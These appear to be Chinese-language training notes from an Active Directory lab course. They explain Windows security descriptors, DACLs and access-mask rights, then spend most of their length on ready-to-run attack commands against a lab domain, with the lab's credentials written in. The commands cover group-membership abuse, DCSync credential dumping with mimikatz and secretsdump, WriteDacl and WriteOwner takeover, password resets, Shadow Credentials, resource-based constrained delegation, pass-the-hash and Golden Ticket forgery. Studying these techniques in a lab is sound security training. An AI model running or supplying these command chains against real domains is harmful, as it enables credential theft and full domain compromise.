DACL概述

在 Windows 安全生态中,令牌(tokens)和安全描述符(security descriptors)是对象安全方程中的两个主要变量。令牌用于标识进程或线程的安全上下文,而安全描述符则包含与对象关联的安全信息。为了实现 CIA 三元组中的机密性(Confidentiality)支柱,许多操作系统和目录服务都会使用访问控制列表(Access Control Lists,ACLs)。

根据 RFC4949,ACL 是一种“通过枚举被允许访问某个系统资源的系统实体,并显式或隐式地声明授予每个实体的访问模式,来为系统资源实现访问控制的机制”。

访问控制策略规定了允许哪些类型的访问、在什么情况下允许访问,以及由谁访问。访问控制策略通常分为四大类:

  • 自主访问控制(Discretionary access control,DAC)
  • 强制访问控制(Mandatory access control,MAC)
  • 基于角色的访问控制(Role-based access control,RBAC)
  • 基于属性的访问控制(Attribute-based access control,ABAC)。

DAC 是实现访问控制的传统方法,它基于请求者的身份以及访问规则来控制访问,这些规则说明请求者被允许(或不被允许)执行哪些操作。它被称为“自主的”,是因为某个实体可能拥有访问权限,使其能够按照自己的意愿允许另一个实体访问某些资源;这与 MAC 不同,在 MAC 中,拥有某个资源访问权限的实体不能仅凭自己的意愿就允许另一个实体访问该资源。Windows 就是一个 DAC 操作系统的例子,它使用自主访问控制列表(Discretionary access control lists,DACLs)。

image.png

安全描述符

DACL 是安全描述符这个更大概念的一部分。下面回顾安全描述符,以便更好地理解它们以及它们在访问控制模型中的角色。

在 Windows 中,每个对象(也称为可保护对象,securable objects)都有一个安全描述符数据结构,用于指定谁可以对该对象执行哪些操作。安全描述符是一个二进制数据结构,尽管其长度和具体内容可能不同,但它可以包含六个主要字段:

  • 修订号(Revision Number):创建该描述符时所使用的安全模型的 SRM(Security Reference Monitor,安全引用监视器)版本。
  • 控制标志(Control Flags):可选的修饰符,用于定义安全描述符的行为或特征。
  • 所有者 SID(Owner SID):对象所有者的 SID
  • 组 SID(Group SID):对象主组的 SID。只有 Windows POSIX 子系统曾使用该成员(该子系统后来已停止),如今大多数 AD 环境都会忽略它。
  • 自主访问控制列表(Discretionary access control list,DACL):指定谁对该对象拥有什么访问权限。在 DACL Attacks 小模块中,我们主要关注的就是滥用和攻击这些 DACL。
  • 系统访问控制列表(System access control list,SACL):指定哪些用户的哪些操作应当被记录到安全审计日志中,以及对象的显式完整性级别。

安全描述符可以有两种形式:绝对形式(absolute)或自相对形式(self-relative)。绝对安全描述符包含指向信息的指针(也就是说,并不直接包含实际信息本身),就像上面的 SECURITY_DESCRIPTOR 结构体一样。无论是与 AD 对象交互还是与非 AD 对象交互,我们通常遇到的都是这种形式。

自相对安全描述符并没有太大不同:它们不存储指针,而是把安全描述符的实际数据存放在一个连续的内存块中。它们的用途是在磁盘上存储安全描述符,或者通过网络传输安全描述符

在 SECURITY_DESCRIPTOR 结构体的七个成员中,有四个成员与 DACL 利用有关;因此,我们会回顾这些成员,理解它们分别是什么。

Control

Control 成员的类型是 SECURITY_DESCRIPTOR_CONTROL,它是一组 16 位的位标志,用于限定安全描述符或其组成部分的含义。通过 GetSecurityDescriptorControl 函数获取 Control 的值时,它可以包含 13 个位标志的组合:

标志 十六进制表示
SE_DACL_AUTO_INHERIT_REQ 0x0100
SE_DACL_AUTO_INHERITED 0x0400
SE_DACL_DEFAULTED 0x0008
SE_DACL_PRESENT 0x0004
SE_DACL_PROTECTED 0x1000
SE_GROUP_DEFAULTED 0x0002
SE_OWNER_DEFAULTED 0x0001
SE_SACL_AUTO_INHERIT_REQ 0x0200
SE_SACL_AUTO_INHERITED 0x0800
SE_SACL_DEFAULTED 0x0008
SE_SACL_PRESENT 0x0010
SE_SACL_PROTECTED 0x2000
SE_SELF_RELATIVE 0x8000

这些二进制标志可以相加,以表示任意组合。例如,如果 Control 的值为 0x8014,就表示存在 SE_DACL_PRESENT、SE_SACL_PRESENT 和 SE_SELF_RELATIVE 这几个标志。

我们需要重点了解的一个标志是 SE_DACL_PRESENT:
SE_DACL_PRESENT表示该安全描述符具有 DACL。如果未设置该标志,或者设置了该标志但 DACL 为 NULL,则该安全描述符允许所有人完全访问。空 DACL 则不允许任何人访问。

Owner

Owner 和 Group 成员分别包含指向对象所有者和主组的安全标识符(Security Identifier,SID)的指针。对象所有者始终会被授予对安全描述符的完全控制权,因为他们会被隐式授予访问权限 RIGHT_WRITE_DAC(WriteDacl)和 RIGHT_READ_CONTROL(ReadControl)。

SaclDacl

在 Windows 中,SACL(System access control list,系统访问控制列表)和 DACL(Discretionary access control lists,自主访问控制列表)是两种类型的访问控制列表(ACLs)。它们都由一个头部以及零个或多个访问控制项(ACEs)组成。(在安全领域文献中,使用 ACL 一词时通常指 DACL,尤其是在 Windows 系统中。)

SACL 包含一些 ACE,这些 ACE 决定哪些类型的访问尝试会在域控制器的安全事件日志中生成审计记录;因此,SACL 允许管理员记录针对可保护对象的访问尝试。SACL 中有两类 ACE:系统审计 ACE(system audit ACEs)和系统审计对象 ACE(system audit-object ACEs)。

而 DACL 保存的 ACE 决定了哪些主体(principals)对某个特定对象拥有控制权限。在 Windows 内部,DACL 由一个 ACL 以及其后按顺序排列的零个或多个 ACE 组成(SACL 也是如此)。下面是 ACL 的结构体定义;认识这些结构体定义,有助于我们后续从内核视角查看安全描述符:

1
2
3
4
5
6
7
8
typedef struct _ACL {
BYTE AclRevision;
BYTE Sbz1;
WORD AclSize;
WORD AceCount;
WORD Sbz2;
} ACL;

通用ACE与对象特定ACE

ACE 包含一组用户权限和一个 SID,该 SID 标识一个主体;这些权限可能是允许、拒绝或审计。通用 ACE 的结构由 ACE 大小、ACE 标志、ACE 类型、ACCESS_MASK 和安全标识符组成。

Windows 在内部通过 ACE_HEADER 结构体表示 ACE:

1
2
3
4
5
typedef struct _ACE_HEADER {
BYTE AceType;
BYTE AceFlags;
WORD AceSize;
} ACE_HEADER;

在 DACL 中可以有九类 ACE。每类 ACE 都包含 ACE_HEADER 结构体作为成员,此外还包含 Mask 成员(类型为 ACCESS_MASK,用于定义标准权限、特定权限和通用权限)以及 SidStart(保存受托者 SID 的前 32 位):

  • Access Allowed
  • Access Denied
  • Access Allowed Object
  • Access Denied Object
  • Access Allowed Callback
  • Access Denied Callback
  • Access Allowed Object Callback
  • Conditional Claims

主要类型

ACE 含义
ACCESS_ALLOWED_ACE 允许特定安全主体(用户或组)访问 Active Directory 对象,例如用户账户或组。Access Allowed ACE 指定该安全主体可以对对象执行哪些权限,例如读取、写入或修改。
ACCESS_ALLOWED_OBJECT_ACE 一种特定类型的 Access Allowed ACE,应用于某个对象,并授予对该对象本身以及它所包含的任何子对象的访问权限。Access Allowed Object ACE 可以让安全主体拥有访问对象及其子对象所需的权限,而不必对每个子对象分别应用单独的 ACE。
ACCESS_DENIED_ACE 拒绝特定安全主体访问 Active Directory 对象,例如用户账户或组。Access Denied ACE 指定该安全主体不允许对对象执行哪些权限,例如读取、写入或修改。
ACCESS_DENIED_OBJECT_ACE 一种特定类型的 Access Denied ACE,应用于某个对象,并限制对该对象本身以及它所包含的任何子对象的访问。Access Denied Object ACE 可以用来阻止安全主体访问对象及其子对象,而不必对每个子对象分别应用单独的 ACE。

你可能已经注意到,有些 ACE 名称中包含 Object 关键字。这些是对象特定 ACE(object-specific ACEs),只在 Active Directory 中使用。除了通用 ACE 结构中的成员外,对象特定 ACE 还包含以下成员:

  • ObjectType:一个 GUID,可包含子对象类型、属性集或属性、扩展权限,或者 validated write。
  • InheritedObjectType:指定可以继承该 ACE 的子对象类型。
  • Flags:通过一组位标志指示 ObjectType 和 InheritedObjectType 成员是否存在。

查看权限

使用dsacls

dsacls(相当于 ADUC 属性对话框中 Security 选项卡的命令行版本)是 Windows 原生命令行程序,可以显示和更改 AD 对象 ACL 中的 ACE/权限。下面查看 inlanefreight.local 域中用户 Yolanda 的 ACL:

1
2
dsacls.exe "cn=Yolanda,cn=users,dc=inlanefreight,dc=local"
Owner: INLANEFREIGHT\Domain Admins

我们还可以更具体,只取出其他用户对 Yolanda 拥有哪些权限。例如,枚举 Pedro 对 Yolanda 具有的权限:

1
dsacls.exe "cn=Yolanda,cn=users,dc=inlanefreight,dc=local" | Select-String "Pedro"

使用 PowerShell、DirectoryServices 和 ActiveDirectorySecurity

1
2
3
4
5
6
7
$directorySearcher = New-Object System.DirectoryServices.DirectorySearcher('(samaccountname=Yolanda)')

$directorySearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl -bor [System.DirectoryServices.SecurityMasks]::Owner

$binarySecurityDescriptor = $directorySearcher.FindOne().Properties.ntsecuritydescriptor[0]

Write-Host -NoNewline $binarySecurityDescriptor

现在我们已经以二进制 blob 的形式拿到了 Yolanda 的安全描述符,接下来需要使用 ActiveDirectorySecurity 类中的 SetSecurityDescriptorBinaryForm 函数解析它。然后就可以查看 Yolanda 的所有 ACE:

1
2
3
4
5
6
$parsedSecurityDescriptor = New-Object System.DirectoryServices.ActiveDirectorySecurity

$parsedSecurityDescriptor.SetSecurityDescriptorBinaryForm($binarySecurityDescriptor)

$parsedSecurityDescriptor.Access

我们也可以进一步筛选,只取出 Pedro 对 Yolanda 拥有的权限:

1
$parsedSecurityDescriptor.Access | Where-Object {$_.IdentityReference -like '*Pedro*'}

查看进程的DACL

本地内核调试

若要从内部查看 explorer.exe 进程的 DACL,需要解引用 explorer.exe 的 ObjectHeader 成员中的 SecurityDescriptor 指针(可以通过本地内核调试和 WinDbg 完成)。这样可以让我们检查 Windows 内核如何看待安全描述符:

1
!sd 0xffffd08f`3b15a12f & -10

使用 AccessChk

1
2
accesschk64.exe -p "explorer.exe" -l
Accesschk v6.15 - Reports effective permissions for securable objects

如前所述,DACL 由一个 ACL 数据结构以及其后按顺序排列的零个或多个 ACE 数据结构组成。AD 对象的 DACL 与普通对象的 DACL 唯一区别在于 Mask 等成员可以具有的值不同。

DACL枚举

在开始枚举和攻击 DACL 之前,需要理解两个重要的 ACE 概念:访问掩码(Access Masks)和访问权限(Access Rights)。

访问掩码与访问权限

对于 AD 对象,访问掩码包含下列值的组合(以 big-endian 格式表示)。需要注意的是,X 表示在 AD DACL 中会被忽略的位。

访问掩码解释

显示名称 常用名称 十六进制值 解释
GenericAll GA / RIGHT_GENERIC_ALL 0x10000000 允许创建或删除子对象、删除子树、读取和写入属性、检查子对象和对象本身,将对象添加到目录或从目录中移除,以及使用扩展权限进行读取或写入。对于 AD 对象,它等价于对象特定访问权限位 (DE
GenericExecute GX / RIGHT_GENERIC_EXECUTE 0x20000000 允许读取权限,以及列出容器对象的内容。对于 AD 对象,它等价于对象特定访问权限位 (RC
GenericWrite GW / RIGHT_GENERIC_WRITE 0x40000000 允许读取该对象的权限、写入该对象的所有属性,并对该对象执行所有 validated writes。对于 AD 对象,它等价于对象特定访问权限位 (RC
GenericRead GR / RIGHT_GENERIC_READ 0x80000000 允许读取该对象的权限、读取该对象的所有属性,在列出父容器时列出该对象名称,如果该对象是容器,还允许列出该对象的内容。对于 AD 对象,它等价于对象特定访问权限位 (RC

标准访问限位

显示名称 常用名称 十六进制值 解释
WriteDacl WD / RIGHT_WRITE_DAC 0x00040000 允许修改对象安全描述符中的自主访问控制列表 (DACL)。
WriteOwner WO / RIGHT_WRITE_OWNER 0x00080000 允许修改对象安全描述符中的所有者。用户只能取得对象所有权,但不能把对象所有权转移给其他用户。
ReadControl RC / RIGHT_READ_CONTROL 0x00020000 允许读取对象安全描述符中的数据,但是这不包括 SACL 的数据。
Delete DE / RIGHT_DELETE 0x00010000 允许删除该对象。

对象特定访问访问权限位

对应整理成一个表格如下:

常用名称 十六进制值 解释 对应/别名
CR / RIGHT_DS_CONTROL_ACCESS 0x00000100 允许执行由控制访问权限(control access right)控制的操作。ACE 的 ObjectType 成员可以包含一个 GUID,用于标识该控制访问权限。如果 ObjectType 不包含 GUID,则该 ACE 控制执行与对象关联的所有控制访问权限所控制操作的权利。尤其当 ObjectType 不包含 GUID 时,也常被称为 AllExtendedRights。 AllExtendedRights
WP / RIGHT_DS_WRITE_PROPERTY 0x00000020 允许写入对象属性。ACE 的 ObjectType 成员可以包含一个 GUID,用于标识属性集或某个属性。如果 ObjectType 不包含 GUID,则该 ACE 控制写入该对象所有属性的权利。 WriteProperty
VW / RIGHT_DS_WRITE_PROPERTY_EXTENDED 0x00000008 允许执行由“经过验证的写入”(validated write)访问权限控制的操作。ACE 的 ObjectType 成员可以包含一个 GUID,用来标识具体的 validated write。如果 ObjectType 不包含 GUID,则该 ACE 控制对该对象关联的所有 validated write 操作的执行权限。它也常被称为 Self。 Self / Validated Write

破解说明

扩展访问权限

我们会滥用 56 个扩展访问权限中的 3 个。

Display Name / 显示名称 Common Name / 通用名称 Rights-GUID Value / 权限 GUID 值 Interpretation / 说明
Reset Password / 重置密码 User-Force-Change-Password 00299570-246d-110d-a768-00aa006e0529 允许在不知道旧密码的情况下重置用户账户密码。这与 User-Change-Password 不同,后者确实要求知道旧密码。
Replicating Directory Changes / 复制目录更改 DS-Replication-Get-Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 从给定的 NC(Naming Context,命名上下文)复制变更所需。执行 DCSync 攻击需要该扩展权限以及 DS-Replication-Get-Changes-All。
Replicating Directory Changes All / 复制所有目录更改 DS-Replication-Get-Changes-All 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 允许复制域中的机密数据。执行 DCSync 攻击需要该扩展权限以及 DS-Replication-Get-Changes。

经验证写入

五种 validated writes 中有两种可以被滥用

Display Name / 显示名称 Common Name / 通用名称 Rights-GUID Value / 权限 GUID 值 Interpretation / 说明
Add/Remove self as member / 将自己添加为成员/移除自己的成员身份 Self-Membership bf9679c0-0de6-11d0-a285-00aa003049e2 Allows editing the member attribute, therefore enabling setting membership of groups. / 允许编辑 member 属性,因此可以设置组成员关系。
Validated write to service principal name / 对服务主体名称的经验性写入 Validated-SPN f3a64788-5306-11d1-a9c5-0000f80367c1 Allows editing the Service Principal Name (SPN) attribute. / 允许编辑 Service Principal Name(SPN,服务主体名称)属性。

枚举DACL

可以使用一些自动化工具来检查/枚举对象的 DACL,从而了解其他安全主体对该对象拥有哪些访问权限。
在 Windows 系统上,可以使用 PowerSploit 的 PowerView 中的 Get-DomainObjectAcl 和 Add-DomainObjectAcl,也可以使用 PowerShell 内置 Cmdlets 中的 Get-Acl 和 Set-Acl 函数。

在linux系统上,可以使用 impacket 的 dacledit.py 来完成这个目的。

dacledit读取用户的DACL

-action 定义要执行的操作。在下面的示例中,它必须设置为 read。如果未设置该参数,则默认值为 read。其他可用动作包括 write、remove、backup 和 restore。

-target、-target-sid 或 -target-dn 分别用于指定要检索并解析 DACL 的对象的 sAMAccountName、Security IDentifier(安全标识符)或 Distinguished Name(可分辨名称)。

-principal、-principal-sid 或 -principal-dn 分别用于指定要在解析后的 DACL 中查找和过滤的主体的 sAMAccountName、Security Identifier 或 Distinguished Name。这个参数非常方便,可以快速判断某个特定主体在目标对象上能做什么或不能做什么。

1
dacledit.py -target htb-student -dc-ip 10.129.205.81 inlanefreight.local/htb-student:'HTB_@cademy_stdnt!'

使用 BloodHound 审计 DACL

在某些特定情况下,手动枚举对象的 DACL 很有用;但由于 Active Directory 域中的访问权限数量巨大,单靠手动枚举并不能轻松审计所有访问权限。

BloodHound 是最著名的 Active Directory 审计工具之一。它会收集所有 DACL 并进行关联分析,使权限关系能够以图模型的方式呈现,从而更容易发现可被滥用的访问权限。下方截图中,一些边(红色高亮)展示了可被滥用的访问权限/特权。

BloodHound 通过将控制权限分成两类来降低审计难度:

  • 入站控制权限(Inbound Control Rights):类似于检查某个对象自身的 DACL。
  • 出站控制权限(Outbound Control Rights):聚合并关联整个域中所有 DACL 里对该对象 SID 的引用。

ACL的滥用

方法 主要目标 需要什么权限 结果 是否需要爆破
Kerberoasting 已有 SPN 的用户/服务账号 普通域用户即可 TGS hash 需要
Targeted Kerberoasting 没有 SPN 但你能写 SPN 的用户 GenericWrite / WriteSPN TGS hash 需要
Shadow Credentials 用户或机器账号 能写 msDS-KeyCredentialLink 目标账号身份 / TGT / hash 通常不需要
RBCD 机器账号 / 目标主机 能写目标机器的 RBCD 属性 伪装用户访问目标机器服务 不需要

AddMember权限的滥用

Linux滥用AddMember

在 Linux 系统中滥用 AddMember 权限时,可以使用 net 工具。net 是一个内置工具,可用于管理 Samba 以及 CIFS/SMB 客户端。不过,它无法配合 Self-Membership 权限使用,因为 net 通过 SMB 协议和 RPC 远程调用来修改组成员关系。也就是说,除了 Self-Membership 之外,如果拥有其他可写成员权限,net 才更合适。

先尝试使用一个没有管理员权限的账户查询 Backup Operators 组成员:

使用ldap添加用户

如果使用net添加用户:

1
2
net rpc group addmem 'Backup Operators' pedro -U \
inlanefreight.local/pedro%SecuringAD01 -S 10.129.205.81

会拒绝,因为net不能使用addmember添加

查询信息

查询用户DN:

1
2
3
4
5
ldapsearch -x -H ldap://10.129.205.81 \
-D 'inlanefreight.local\pedro' \
-w 'SecuringAD01' \
-b 'DC=inlanefreight,DC=local' \
'(sAMAccountName=pedro)' distinguishedName

查询组DN:

1
2
3
4
5
ldapsearch -x -H ldap://10.129.205.81 \
-D 'inlanefreight.local\pedro' \
-w 'SecuringAD01' \
-b 'DC=inlanefreight,DC=local' \
'(cn=Backup Operators)' distinguishedName

添加LDIF文件

需要写入LDIF文件,使用ldap添加
添加文件:

1
2
3
4
dn: CN=Backup Operators,CN=Builtin,DC=inlanefreight,DC=local
changetype: modify
add: member
member: CN=pedro,CN=Users,DC=inlanefreight,DC=local

添加用户到组
1
2
3
4
ldapmodify -x -H ldap://10.129.205.81 \
-D 'inlanefreight.local\pedro' \
-w 'SecuringAD01' \
-f addmember.ldif

使用net查询组成员

1
2
net rpc group members 'Backup Operators' -U \
inlanefreight.local/pedro%SecuringAD01 -S 10.129.205.81

windows滥用AddMember

使用 PowerView 添加用户到组(命令 + 结果):

1
Add-DomainGroupMember -Identity "Backup Operators" -Members pedro -Verbose

GetChangesAllGetChanges权限滥用

攻击原理

在 AD 中,DCSync 不是传统意义上的漏洞,而是滥用域对象上的复制权限。

如果某个用户对域根对象拥有以下两个扩展权限:

1
DS-Replication-Get-ChangesDS-Replication-Get-Changes-All

那么该用户就可以伪装成域控,向真正的 DC 请求复制域内账户凭据数据。

常见表现为:

1
2
3
4
5
6
7
8
9
10
11
1. 获得一个普通域用户凭据

2. 枚举该用户对域对象的 ACL/DACL

3. 发现用户拥有 GetChanges 和 GetChangesAll

4. 使用 secretsdump.py 执行 DCSync

5. 导出 Administrator、krbtgt、普通域用户 Hash

6. 使用 Hash 横向移动或制作票据

需要的权限

DCSync 最核心需要两个权限:

权限 Common Name 作用
复制目录更改 DS-Replication-Get-Changes 允许复制目录变更
复制所有目录更改 DS-Replication-Get-Changes-All 允许复制敏感目录数据,例如密码 Hash

有时还会看到第三个:

1
DS-Replication-Get-Changes-In-Filtered-Set

但在很多靶场和常见环境里,最常见的是:

1
GetChanges + GetChangesAll

攻击链总结

1
2
3
4
5
6
7
8
9
10
11
1. 获得一个普通域用户凭据

2. 枚举该用户对域对象的 ACL/DACL

3. 发现用户拥有 GetChanges 和 GetChangesAll

4. 使用 secretsdump.py 执行 DCSync

5. 导出 Administrator、krbtgt、普通域用户 Hash

6. 使用 Hash 横向移动或制作票据

Windows 下利用

1. 使用 mimikatz DCSync

在 Windows 上可以用 mimikatz:

1
lsadump::dcsync /domain:inlanefreight.local /user:Administrator

导出 krbtgt:

1
lsadump::dcsync /domain:inlanefreight.local /user:krbtgt

如果成功,会看到用户的 NTLM Hash。


2. 使用 PowerView 检查 DCSync 权限

先导入 PowerView:

1
Import-Module .\PowerView.ps1

查看当前用户对域对象的 ACL:

1
Get-DomainObjectAcl -Identity "DC=inlanefreight,DC=local" -ResolveGUIDs |? {$_.SecurityIdentifier -eq (ConvertTo-SID pedro)}

重点看:

1
DS-Replication-Get-ChangesDS-Replication-Get-Changes-All

或者看 ObjectAceType 是否对应这两个权限。


Linux 下利用

假设当前用户为:

1
inlanefreight.local\pedro

密码为:

1
SecuringAD01

DC IP 为:

1
10.129.205.81

1. 使用 secretsdump 执行 DCSync

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81

或者新版 Impacket:

1
impacket-secretsdump inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81

如果权限正确,会看到类似输出:

1
[*] Dumping Domain Credentialsinlanefreight.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::inlanefreight.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::inlanefreight.local\user:1105:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::

2. 只导出指定用户 Hash

如果只想导出 Administrator:

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc-user Administrator

新版:

1
impacket-secretsdump inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc-user Administrator

只导出 krbtgt:

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc-user krbtgt

3. 只导出 NTDS 数据

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-just-dc

常用参数含义:

参数 作用
-just-dc 只执行 DC 相关 Hash 导出
-just-dc-user 用户名 只 DCSync 指定用户
-hashes LMHASH:NTHASH 使用 Hash 认证
-k 使用 Kerberos 认证
-dc-ip 指定域控 IP

使用 Hash 执行 DCSync

如果拿到的是 Pedro 的 NTLM Hash,不知道明文密码,可以这样:

1
secretsdump.py inlanefreight.local/pedro@10.129.205.81 \-hashes :NTLM_HASH

例如:

1
secretsdump.py inlanefreight.local/pedro@10.129.205.81 \-hashes :64f12cddaa88057e06a81b54e73b949b

使用 Kerberos 票据执行 DCSync

如果已经有 ccache:

1
export KRB5CCNAME=pedro.ccache

然后执行:

1
secretsdump.py -k -no-pass inlanefreight.local/pedro@dc01.inlanefreight.local \-dc-ip 10.129.205.81

注意:

如果你是刚刚通过 DACL 把用户加了权限,旧的 Kerberos 票据可能没有新权限,需要重新申请 TGT:

1
kdestroygetTGT.py inlanefreight.local/pedro:'SecuringAD01'export KRB5CCNAME=pedro.ccache

WriteDacl权限滥用

如果当前拥有 WriteDacl,可以先给自己添加 DCSync 权限

有时用户一开始没有 GetChanges / GetChangesAll,但对域根对象有:

1
WriteDaclGenericAllGenericWriteWriteOwner

其中如果有 WriteDacl,可以给自己添加 DCSync 权限。

Windows PowerView 添加 DCSync 权限

1
Add-DomainObjectAcl -TargetIdentity "DC=inlanefreight,DC=local" `-PrincipalIdentity pedro `-Rights DCSync `-Verbose

然后执行:

1
Get-DomainObjectAcl -Identity "DC=inlanefreight,DC=local" -ResolveGUIDs |? {$_.IdentityReference -match "pedro"}

再用 mimikatz:

1
lsadump::dcsync /domain:inlanefreight.local /user:krbtgt

或者 Linux 下:

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81

Linux 下使用 bloodyAD 添加 DCSync 权限

如果当前用户对域对象有 WriteDacl,可以用 bloodyAD 添加 DCSync 权限:

1
bloodyAD --host 10.129.205.81 \-d inlanefreight.local \-u pedro \-p 'SecuringAD01' \add dcsync pedro

然后执行:

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81

利用成功后的后续攻击

拿到 Hash 后,可以继续做:

1. Pass-the-Hash 登录目标

1
psexec.py inlanefreight.local/Administrator@10.129.205.81 \-hashes :ADMIN_NTLM_HASH

或者:

1
wmiexec.py inlanefreight.local/Administrator@10.129.205.81 \-hashes :ADMIN_NTLM_HASH

2. 获取 krbtgt Hash 后制作 Golden Ticket

如果 DCSync 拿到了 krbtgt Hash,就可以伪造金票。

攻击链:

1
2
3
4
5
6
7
8
9
DCSync

获取 krbtgt NTLM Hash

获取域 SID

制作 Golden Ticket

访问任意域内服务

常见工具:

1
mimikatzticketer.py

3. 导出所有域用户 Hash 后离线爆破

1
secretsdump.py inlanefreight.local/pedro:'SecuringAD01'@10.129.205.81 \-outputfile dcsync_hashes

然后可以对 NTLM Hash 做离线破解。


Writeowner权限滥用

攻击原理

WriteOwner 表示当前用户可以修改目标对象的 Owner / 所有者

在 AD 中,如果一个用户成为某个对象的所有者,通常就可以进一步修改该对象的 DACL。
所以 WriteOwner 常见的利用思路是:
攻击链:

1
2
3
4
5
6
7
8
9
10
11
Pedro

对 Backup Operators 有 WriteOwner

把 Backup Operators 的 Owner 改成 Pedro

Pedro 作为 Owner,可以修改该对象的 DACL

给自己添加 GenericAll / WriteMembers / AddMember

再把自己加入 Backup Operators

Linux 下利用

1. 修改目标对象所有者

使用 Impacket 的 owneredit.py

1
2
3
4
owneredit.py -action write -new-owner pedro \
-target "Backup Operators" \
inlanefreight.local/pedro:'SecuringAD01' \
-dc-ip 10.129.205.81

含义:

参数 说明
-action write 写入新的所有者
-new-owner pedro 把所有者改成 pedro
-target "Backup Operators" 目标对象
-dc-ip 指定域控 IP

给自己添加完全控制权限

修改 Owner 后,再使用 dacledit.py 给自己添加 FullControl

1
dacledit.py -action write \-rights FullControl \-principal pedro \-target "Backup Operators" \inlanefreight.local/pedro:'SecuringAD01' \-dc-ip 10.129.205.81

新版 Impacket:

1
impacket-dacledit -action write \-rights FullControl \-principal pedro \-target "Backup Operators" \inlanefreight.local/pedro:'SecuringAD01' \-dc-ip 10.129.205.81

这里的意思是:

1
给 pedro 添加对 Backup Operators 的完全控制权限

添加完之后,Pedro 就不只是 Owner 了,而是对该组拥有 GenericAll / FullControl


3. 把自己加入目标组

可以使用 bloodyAD

1
2
3
4
5
bloodyAD --host 10.129.205.81 \
-d inlanefreight.local \
-u pedro \
-p 'SecuringAD01' \
add groupMember "Backup Operators" pedro

或者使用 LDAP 方式:

1
dn: CN=Backup Operators,CN=Builtin,DC=inlanefreight,DC=localchangetype: modifyadd: membermember: CN=pedro,CN=Users,DC=inlanefreight,DC=local

保存为:

1
addmember.ldif

然后执行:

1
ldapmodify -x -H ldap://10.129.205.81 \-D 'inlanefreight.local\pedro' \-w 'SecuringAD01' \-f addmember.ldif

4. 查询是否添加成功

使用 net 查询组成员:

1
2
3
net rpc group members 'Backup Operators' \
-U 'inlanefreight.local/pedro%SecuringAD01' \
-S 10.129.205.81

或者使用 LDAP 查询:

1
2
3
4
5
ldapsearch -x -H ldap://10.129.205.81 \
-D 'inlanefreight.local\pedro' \
-w 'SecuringAD01' \
-b 'DC=inlanefreight,DC=local' \
'(cn=Backup Operators)' member

Windows 下利用

使用 PowerView 修改 Owner

导入 PowerView:

1
Import-Module .\PowerView.ps1

修改目标对象所有者:

1
Set-DomainObjectOwner -Identity "Backup Operators" -OwnerIdentity pedro

给自己添加完全控制权限

1
Add-DomainObjectAcl -TargetIdentity "Backup Operators" `-PrincipalIdentity pedro `-Rights All `-Verbose

或者针对组成员修改权限:

1
Add-DomainObjectAcl -TargetIdentity "Backup Operators" `-PrincipalIdentity pedro `-Rights WriteMembers `-Verbose

把自己加入目标组

1
Add-DomainGroupMember -Identity "Backup Operators" -Members pedro -Verbose

验证:

1
Get-DomainGroupMember -Identity "Backup Operators"

完整攻击链总结

1
2
3
4
5
6
7
8
9
10
11
WriteOwner    

owneredit.py 修改 Owner

dacledit.py 添加 FullControl

bloodyAD / ldapmodify 添加组成员

net / ldapsearch 验证

重新认证,使新组权限生效

注意事项

如果你已经把自己加入目标组,但新权限没有立即生效,可能需要重新认证:

1
kdestroy

如果使用密码认证,重新执行工具通常就是一次新的认证。

如果使用 Kerberos ccache,需要重新申请 TGT:

1
getTGT.py inlanefreight.local/pedro:'SecuringAD01'export KRB5CCNAME=pedro.ccache

GenericALL权限滥用

目标为正常用户

攻击链1:重置密码

1
2
3
4
5
6
7
Pedro  
↓ GenericAll
Rita

Reset Password

获得 Rita 账户

Linux:

1
bloodyAD --host 10.129.205.81 \-d inlanefreight.local \-u pedro \-p 'SecuringAD01' \set password Rita NewPassword123!

Windows:

1
Set-DomainUserPassword

攻击链2:Shadow Credentials

如果目标dc配置证书服务,且具备全局权限,还支持远程pkinit认证,则可以直接打影子凭证完全控制

1
2
3
4
5
6
7
8
9
GenericAll

写 msDS-KeyCredentialLink

Shadow Credentials

获取 TGT

接管账户

1
2
3
4
5
6
certipy shadow auto \
-u 'pedro@inlanefreight.local' \
-p 'SecuringAD01' \
-account rita \
-dc-ip 10.129.205.81

执行后会生成证书并写入msDS-KeyCredentalLink

目标为机器用户

攻击链1:Shadow Credentials

1
2
3
4
5
certipy shadow auto \
-u 'pedro@inlanefreight.local' \
-p 'SecuringAD01' \
-account 'WEB01$' \
-dc-ip 10.129.205.81

攻击链2:RBCD

基于资源的约束委派
当我们对目标机器账户有 GenericAll 时,可以修改目标机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity

让我们控制的机器账户可以代表任意用户访问目标机器服务

创建攻击机器账户

如果域内允许普通用户创建机器账户,可以创建一个:

1
addcomputer.py inlanefreight.local/pedro:'SecuringAD01' \-computer-name 'HACKTHEBOX$' \-computer-pass 'Hackthebox123!' \-dc-ip 10.129.205.81

如果已经有一个可控机器账户,这一步可以省略。


配置 RBCD

HACKTHEBOX$ 写入目标机器的 RBCD 属性。

例如目标是 DC01$

1
2
3
4
5
rbcd.py inlanefreight.local/pedro:'SecuringAD01' \
-dc-ip 10.129.205.81 \
-action write \
-delegate-from 'HACKTHEBOX$' \
-delegate-to 'DC01$'

这一步才是 RBCD 的核心。

含义:

1
允许 HACKTHEBOX$ 代表其他用户访问 DC01$

申请 Administrator 的服务票据
1
2
3
4
getST.py -spn cifs/DC01.inlanefreight.local \
-impersonate Administrator \
-dc-ip 10.129.205.81 \
inlanefreight.local/HACKTHEBOX$:'Hackthebox123!'

成功后会生成类似:

1
Administrator.ccache

导入票据
1
export KRB5CCNAME=Administrator.ccache

查看:

1
klist

使用票据访问目标机器
1
psexec.py -k -no-pass dc01.inlanefreight.local
